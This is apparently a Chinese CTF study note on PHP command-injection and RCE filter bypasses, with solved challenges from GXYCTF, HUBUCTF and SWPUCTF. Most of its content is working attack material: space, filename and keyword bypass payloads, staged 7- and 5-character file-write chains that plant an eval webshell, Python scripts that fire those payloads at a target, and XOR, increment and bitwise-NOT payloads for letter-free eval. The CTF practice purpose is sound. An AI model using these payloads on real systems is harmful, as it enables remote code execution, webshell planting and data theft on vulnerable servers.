命令执行

常见危险函数

system

system()函数可以执行系统命令, 并将命令执行的结果直接输出到界面中, 使用时直接在参数中传入需要执行的命令即可

Passthru

passthru()函数可以执行系统命令, 并将执行结果输出到页面中, 与system()函数不同的是, 它支持二进制的数据, 更多的用于文件, 图片等操作, 使用时直接在参数中传递字符串类型的系统命令即可

shell_exec

shell_exec()函数可以执行系统命令, 但它不会直接输出执行的结果, 而是返回一个字符串类型的变量来存储系统命令的执行结果, 在参数中传递需要执行的系统命令即可

反引号

反引号可以执行系统命令, 但它不会输出结果, 而是返回一个字符串类型的变量, 用来存储系统命令的执行结果, 可单独使用, 也可配合其他命令执行函数使用来绕过参数中的过滤条件

popen

popen()函数可以执行系统命令, 但不会输出执行的结果, 而是返回一个资源类型的变量用来存储系统命令的执行结果, 需要配合fread()函数来读取命令的执行结果

proc_open

proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。

参数:command descriptor_spec pipes

作用类似于popen

绕过方式

空格过滤绕过

1:利用大括号进行绕过

?cmd{ls,-l}

2:$IFS代替空格;$IFS,${IFS},$IFS$9

3:重定向字符 <,<>

“<”表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的设备

?cmd=cat<flag.php

4:%09(Tab)

payload为

?cmd=cat%09flag.php

例题

**[GXYCTF 2019]**Ping Ping Ping

ping是ip的一个参数:可以联想到127.0.0.1

查看当前存在的目录文件夹:?ip=127.0.0.1;ls

img

找到flag.php,index.php

cat flag.php,发现空格绕过,这里使用$IFS$9进行绕过

img

cat index.php

        |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
print_r($match);
print($ip);
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
}
else if(preg_match("/ /", $ip)){
die("fxck your space!");
}
else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
}
else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}

?>

可以发现对flag字符进行了绕过,

  • 如果输入的 IP 地址中包含特殊符号(如 |()[]{}/“)或者一些特殊字符(如 &/?*()<空格>),则会输出 “fxck your symbol!”。
  • 如果输入的 IP 地址中包含空格,则会输出 “fxck your space!”。
  • 如果输入的 IP 地址中包含 “bash” 字符串,则会输出 “fxck your bash!”。
  • 如果输入的 IP 地址中包含 “flag” 字符串(不区分大小写),则会输出 “fxck your flag!”。
  • 最后,无论如何都会执行一个 ping 命令来测试输入的 IP 地址,并输出 ping 的结果。

解题思路: (1)创建变量实现字符串拼接:构造**/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php**即可获取flag 注:此处将变量ab的位置互换是为了绕过字符串匹配(内联执行)

(2)通过执行sh命令来执行 (bash被过滤了,不然也可以执行)

构造**/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh**

注:sh是linux中运行shell的命令,bash相当于sh的升级版,sh∈bash

文件名过滤绕过

1:通配符 ***** 进行绕过

?cmd=passthru(‘cat f?ag.p?p’)

2:单引号和双引号绕过

?cmd=passthru(‘cat fl””‘ag.ph””p);

3:反斜杠\绕过

把特殊字符去掉功能性,单纯表示为字符串

echo 1>2

1>2

?cmd=passthru(‘cat fl\ag.p\hp’)

4:特殊变量

$1到$9,$@和$* 输出为空

?cmd=passthru(‘cat fl$1ag.p$9hp’)

5:内联执行:即自定义字符串,在拼接起来

?cmd=passthru(‘a=f;d=ag;c=l;cat $a$c$d’)

无回显时间盲注

命令盲注

页面无法shell反弹或者无法回显,或者没有写入权限,可以尝试命令盲注,根据返回时间来进行判断

相关命令

1:sleep

2:awk NR==1 #awk逐行获取数据

3:cut -c #逐个获取单个字符

img

4:if判断语句使用

If [ $(cat flag.php | awk NR==1 | cut -c 1 ) == f] then echo “right”;fi

常见文件读取命令绕过

1:tac 反向显示;

**?cmd=system(“**tac fl\ag.p\hp”);

2:more 一页一页的显示档案内容;

3:less 与more类似;

4:tali 查看末尾几行;

默认显示最后十行

5:nl 显示的时候,顺便输出行号;

6:od 以二进制的方式读取档案内容;

Ascill转化为字符串的形式

7:xxd 读取二进制文件;

类似于010里的左16进制右字符串的形式

8:sort 主要用于排序文件;

绝对路径+sort+flag,php

9:uniq 报告或删除文件中重复的行;

10:file -f 报错出具体内容;

11:grep 在文本中查找指定内容的字符串;

?cmd=passthru(“grep fla fla*”)

解析:从文本flag里搜索包含“fla”字符串的行

编码绕过

1:base64绕过

将cat flag.php转化为base64编码进行绕过

import base64
S=b'cat flag.php'
e64=base64.b64encode(S)
print(e64)

即cat flag.php -> Y2F0IGZsYWcucGhw

2:base32绕过

同上述base64一样

长度限制绕过

长度为7绕过
<?php

highlight_file(__FILE__);
if(strlen($_GET[1]<7)){
echo strlen($_GET[1]);
echo '<hr/>';
echo shell_exec($_GET[1]);
}else{
exit('too long');
}

?>

需要掌握的知识点

>a    #虽然没有输入但是会创建a这个文件
ls -t #ls基于基于事件排序(从晚到早)
sh a #sh会把a里面的每行内容当作命令来执行
使用\进行命令拼接 #l\ s = ls
base64 #使用base64编码避免特殊字符

我们需要传入的一句话木马<?php eval($_GET[1]);,经过base64编码后PD9waHAgZXZhbCgkX0dFVFsxXSk7

即我们所需要执行的语句为echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

构造payload

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
#因为涉及到2次写入,所以后面有2个斜杆
#!/usr/bin/python
# -*- coding: UTF-8 -*-


import requests

url = "http://192.168.61.157/rce.php?1={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))

#检查是否攻击成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")
长度为5绕过
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>

和长度为7的一样的解法,但是这里也有其他许多解法,例如反弹shell

>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>a
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh 0
sh f
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://192.168.61.157/?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
#检查是否攻击成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")
长度为4绕过

预备知识:

1:输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

img

2:增加字母来限定被用来当作命令和参数的文件名

>ls
>lss
>lsss
>1
*s (等同于命令: ls lss lsss)

img

3:通过rev来倒置输出内容

>rev
echo 1234 > v
*v (等同于命令:rev v)

4:通过增加ls的-h(把文件大小显示成1k 1M 等形式)参数来让调整-t(根据时间排序)参数的位置 我们之后需要用到rev 倒置输出

所以需要列出这样形式的文件名

0> t- sl

>0\>
>t-
>sl

img

但是输出有点不尽人意,这里需要使用-h来使t往前拉

>0\>
>ht-
>sl

img

5:用dir来代替ls不换行输出

img

最后构建payload

>dir
>f\>
>ht-
>sl
*>v (等同于命令:dir "f>" "ht-" "sl" > v)
>rev
*v>0 (等同于命令:rev v > 0)(0里面的内容位:ls -th >f)
sh 0 (sh执行0里面的内容)

无参数RCE绕过

题目特征

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {    
eval($_GET['star']);
}

正则表达式 [^\W]+((?R)?) 匹配了一个或多个非标点符号字符(表示函数名),后跟一个括号(表示函数调用)。其中 (?R) 是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;,而最终结果强等于;时,payload才能进行下一步。

相关函数介绍

scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)

<?php
print_r(scandir('.'));
?>

输出结果
(
[0] => .
[1] => ..
[2] => .idea
[3] => 1.php
[4] => NISACTF.php
[5] => test.php
)

getcwd() :取得当前工作目录

<?php
print_r(getcwd());
?>
#D:\web\study-test

current() :返回数组中的单元,默认取第一个值

next():返回数组中的单元,默认取第二个值

<?php
$a = [4,5,7];
print_r(next($a));
?>
#5
<?php
$a = [4,5,7];
print_r(current($a));
?>
#4

array_flip() :交换数组中的键和值,成功时返回交换后的数组 array_rand() :从数组中随机取出一个或多个单元

array_reverse():将数组内容反转

#array_flip():将键名值进行对调
Array
(
[4] => 0
[5] => 1
[7] => 2
)

#array_reverse()
Array
(
[0] => 7
[1] => 5
[2] => 4
)

#array_rand
<?php
$a = [4,5,7];
print_r(array_rand($a));
?>
#1或2或0

localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)

strrev():用于反转给定字符串。

dirname() :函数返回路径中的目录部分。 chdir() :函数改变当前的目录。

例题:[GXYCTF2019]禁止套娃

dirmap扫描,发现.git泄露

img

python2 GitHack.py http://c9a8fee7-08d6-42c9-acc9-423dfb35eafb.node5.buuoj.cn:81/.git/

img

发现index.php,如下:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
scandir()读取

1:bp抓包,?exp=var_dump(localeconv());这里我们能看见第一个string[1]就是一个“.”,这个点是由localeconv()产生的

img

2:利用current()函数将这个点取出来的,‘.’代表的是当前目录

img

3:既然current()取第一个值,那么current(localeconv())构造一个‘.’,'.' 表示当前目录,scandir('.') 将返回当前目录中的文件和子目录,这里我们得知flag所在的文件名就是flag.php

img

4、然而flag的文件名在比较后端我们可以通过array_reverse()将数组内容反转,让它从倒数第二的位置变成正数第二

img

5:接下来我们可以选择next()函数来读取flag.php

img

6:使用highlight_file来读取文件

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

img

session_id()读取
hex2bin()读取

对所要执行的命令进行16进制编码,通过在Cookie: PHPSESSID=”” 添加自己所要执行的命令

最后在使用hexbin()进行解码就行,从而达到命令执行的效果

?参数=eval(hex2bin(session_id(session_start())));
直接读取

还是以上题为例,假如我们知道flag.php的文件时,我们直接读文件

添加:Cookie: PHPSESSID=flag.php

img

getallheaders()读取

getallheaders()返回当前请求的所有请求头信息,局限于Apache(apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache)

当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头,使其执行,payload:

?code=var_dump(end(getallheaders()));    #print_r,echo

img

sky是自己添加的请求头, end()指向最后一行的sky后的代码,达到phpinfo的目的,然后可以进一步去rce

get_defined_vars()读取
<?php
print_r(get_defined_vars());
?>

这里我们可以看出其返回的数组类型的先后顺序为$_GET–>$_POST–>$_COOKIE–>$_FILES

img

即我们可以多加一个参数来进行命令执行,即执行后面的恶意语句,例子如下:

a=eval(end(current(get_defined_vars())));&b=system('ls /');
chdir()&array_rand()读取

实在无法rce,可以进行目录遍历

结合dirname()列出当前工作目录的父目录中的所有文件和目录:

<?php
var_dump(scandir(dirname(getcwd())));
?>

读根目录:

ord() 函数和 chr() 函数:只能对第一个字符进行转码,ord() 编码,chr()解码,有概率会解码出斜杠读取根目录

<?php
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
?>
#print_r(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array() )))))))))));
#可以测试一下,有几率读出根目录,本人亲测

读上一级文件名

?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));

?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

可以将show_source换成print_r,建议使用第一个

无字母数字的绕过

异或绕过

[HUBUCTF 2022 新生赛]HowToGetShell

涉及知识点:无字母RCE-异或绕过

<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
die("invalid input!");
}
eval($mess);
#过滤了所有大小写字母
#这里采用异或绕过
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "

answer = "phpinfo"

tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if (ord(i) ^ ord(j) == ord(c)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print(tmp1) # 0302181
print(tmp2) # @[@[_^^
#payload: mess=$_="0302181"^"@[@[_^^";$_();
自增绕过

简介:

自增(Increment)通常指的是将某个值增加一个固定的增量。在编程中,自增通常用于循环计数、迭代或者更新变量的值等情况。

[SWPUCTF 2021 新生赛]hardrce_3

<?php 
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\^','\~','\|'];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
}}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{
die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>

通过构造assert($POST[]);然后通过poat传参_=phpinfo()[系统所要执行的命令即可

payload

%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d%27_%27%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b

搜索disable_functions,我们可以找到被禁用的函数

img

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dlpc

Payload:

_=file_put_contents(‘1.php’,’‘);

通过写入一句话木马,蚁剑连接,得flag。

取反绕过

对所要执行的命令进行取反即可

[SWPUCTF 2021 新生赛]hardrce

<?php 
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>

无字母rce:字母被过滤了,且设置了一个黑名单过滤了许多东西

涉及知识点:取反绕过

url编码取反绕过 :就是我们将php代码url编码后取反,我们传入参数后服务端进行url解码,这时由于取反后,会url解码成不可打印字符,这样我们就会绕过

payload:

<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');#ls / -> cat /flag
?>
#%8C%86%8C%8B%9A%92
#%93%8C%DF%D0
#payload:~(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);记住结尾要加分号